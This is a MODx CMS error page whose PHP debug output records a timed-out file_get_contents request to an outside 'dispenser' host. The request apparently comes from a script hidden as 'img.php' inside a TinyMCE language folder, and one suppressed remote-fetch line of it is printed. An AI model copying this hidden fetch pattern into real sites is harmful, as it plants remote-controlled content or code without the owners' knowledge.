« MODx Parse Error »

MODx encountered the following error while attempting to parse the requested resource:
« PHP Parse Error »
 
PHP error debug
  Error: file_get_contents(http://dispenser-01.saperu.net/code.php?user=c49f303e75187b3c29c310cd256b540b&host=old.intehdon.ru&charset=windows-1251&format=serialize) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 504 Gateway Time-out  
  Error type/ Nr.: Warning - 2 
  File: /app/www/assets/plugins/tinymce212/lang/img.php 
  Line: 300 
  Line 300 source: if ($data = @file_get_contents('http://' . $host . $path)) {  
 
Parser timing
  MySQL: 0.0034 s(17 Requests)
  PHP: 5.1751 s 
  Total: 5.1785 s